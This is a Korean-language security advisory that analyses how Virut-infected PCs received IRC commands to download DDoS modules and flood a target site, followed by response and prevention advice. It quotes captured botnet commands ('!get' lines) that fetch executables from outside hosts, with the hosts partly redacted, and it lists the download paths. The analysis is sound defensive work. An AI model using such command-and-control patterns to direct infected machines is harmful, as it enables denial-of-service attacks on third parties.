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1. 개  요
   

    최근 국내의 몇몇 인터넷사용 PC가 분산서비스 공격을 위한 Agent로 악용되어 일부 네트

워크에서 악성 트래픽이 발생하였다. 사고 분석결과, Virut 악성코드에 감염되어 있는 PC에 

IRC서버를 통하여 명령을 전달, 추가 공격코드를 다운로드․실행하는 방법으로 서비스거부 공

격을 수행하는 것으로 확인되었다. Virut은 PC내에 저장되어있는 실행파일들에 자신을 감염시

키는 방식으로 확산된다. 사용자가 이미 감염된 파일을 USB저장 매체, 네트워크 공유폴더 등

을 통하여 정상PC에서 실행시키면 해당PC도 감염되게 된다.  PC가 감염되면 다수의 실행파

일에 바이러스가 삽입되게 되므로 감염이 의심될 경우, 백신을 통한 전체 파일 점검 및 치료를 실

시하는 것이 필요하다. 

2. Virut을 이용한 분산서비스 공격기법 

   o 공격 절차 

     공격자는 Virut을 전파한 뒤 해당 악성코드에 원격명령을 전달하여 공격모듈을 추가로 설치하는 

방법으로 DoS공격을 수행한다. 

     ① Virut 유포 → ② Virut에게 DoS공격모듈 다운로드하도록 명령전달(IRC서버이용)  → ③ 공격

모듈 다운로드 ④ 피해사이트로의 DDoS 공격

  

        

   o 절차별 상세    

     ① Virut 유포방법

        공격자는 최초에 사용자가 많이 방문하는 웹사이트 은닉 또는 P2P 공유 등을 통하여 

Virut을 유포하였을 것으로 추정된다. Virut은 감염된 PC내의 실행파일들을 감염시키므로, 

최초 유포 이후에는 이동저장 매체 또는 네트워크 공유폴더 등을 통하여 전파된다.  
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     ② Virut을 통한 DoS 공격모듈 다운로드  

        Virut에 명령을 전달하여 공격모듈을 설치한다. (공격자는 명령전달을 위하여 IRC 

[proxima.[생략].pl]를 이용)

  - 명령전달 사이트 

   proxima.[생략].pl, 포트 TCP 65520, 채널 &virut   

  - 전달되는 명령내용 

    - :* PRIVMSG msfplhjz :!get http://85.[생략].2/~grander/adv735.exe 

      :* PRIVMSG msfplhjz :!get http://dl2.[생략].com/~grander/dl.exe

      :* PRIVMSG msfplhjz :!get http://85.[생략].2/~grander/e.exe

                         <proxima.[생략].pl 통한 명령전달 예>     

       

                                    < 명령 전달 예>  

     ③ Virut은 전달된 명령URL 경로로 접속하여 추가 악성모듈을 다운로드 및 설치한다. (전달 받은 

경로 중 아래의 2개의 URL 파일이 DoS 공격 모듈이다. 추가 adv735.exe의 경우 추가적인 

악성코드를 다운로드 받는 것으로 확인되었다.)     

             ※ DDoS 관련 공격코드 다운로드 경로

                http://dl2.[생략].com/~grander/dl.exe
                http://85.[생략].2/~grander/e.exe   

                              <DoS 공격 코드 다운로드> 
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     dl.exe, e.exe가 다운로드 되면 “윈도우폴더\Temp"에 VRT[랜덤].tmp 형태로 저장 및 

프로세스로 로딩 된다. 윈도우 시작 시 자동시작을 하기 위한 설치 기능이 없으므로, 재부팅하면 

더 이상 활동하지 않는다.  

                         <VRT[랜덤].tmp 형태로 프로세스에 로딩됨>

     ④ 특정사이트에 대한 분산서비스 거부공격 

        VRT[랜덤].tmp가 로드되면 사이트 http://www.[생략].com에 대한 서비스거부공격이 시작된다.  

공격패킷의 형태 및 감염된 단일PC가 발생시키는 트래픽 량은 다음과 같이 관찰되었다. 

          - DDoS 공격 형태

            

 ‣ 공격대상 사이트 : http://www.[생략].com

 ‣ 프로토콜 및 포트:  TCP 80, 443,

                      UDP 랜덤포트

 ‣ 패킷 Size:  TCP 80, 443  ☞ 66 byte

               UDP          ☞ 랜덤 
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        - 단일 감염PC에서의 트래픽 발생량

공격패킷 종류  패킷발생 빈도 /초당   초당 발생 트래픽 량 

http (TCP80) 23 회 1,520 byte

https (TCP443) 4 회 237 byte

UDP 9,346 회    6,049,570 byte

총합 9,373 회 6,051,327 byte (48Mbps)

                      <http (TCP80) 분당 트래픽 발생 예 >

                      <https (TCP443) 분당 트래픽 발생 예 >

                          <UDP 초당 트래픽 발생 예 >

              <UDP Payload 분석 ☞ UDP Payload는 크기와 내용에 규칙성이 없음>
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3. 위험성 분석 

   o Virut에 의하여 설치되는 VRT[랜덤].tmp 공격모듈은 대량의 트래픽을 유발하는 것으로 확인되었다. 

단일 테스트 PC에서 초당 48Mbps의 대량 트래픽이 발생하는 것으로 관찰 되었으므로, 사내 네트워

크의 서비스 저하에 큰 영향을 미칠 수 있다.    

  

   o 공격자는 명령전달을 위한 proxima.[생략].pl 도메인의 resolving IP를 수시로 변경한다.  

   o 확실한 예방을 위하여 Virut 악성코드에 대한 근본적인 치료가 요구된다.

4. 감염시 대응방법

   o Virut는 감염 PC 내의 많은 실행파일들을 감염시키므로, 감염이 확인될 경우, 사용자는 

백신으로 전체 파일시스템에 대하여 점검 및 치료하여야 한다. 

   o 감염 시 악성 트래픽이 발생할 수 있으므로, 완전한 치료가 이루어지기 전에 네트워크로

부터 격리시키도록 한다. 

5. 예방방법

   o 네트워크 또는 이동식 저장매체 등 (네트워크 공유폴더 파일, P2P 공유파일, 이동식 USB등) 

외부로부터 전달된 파일은 사용 전에 반드시 백신으로 점검하도록 한다.   


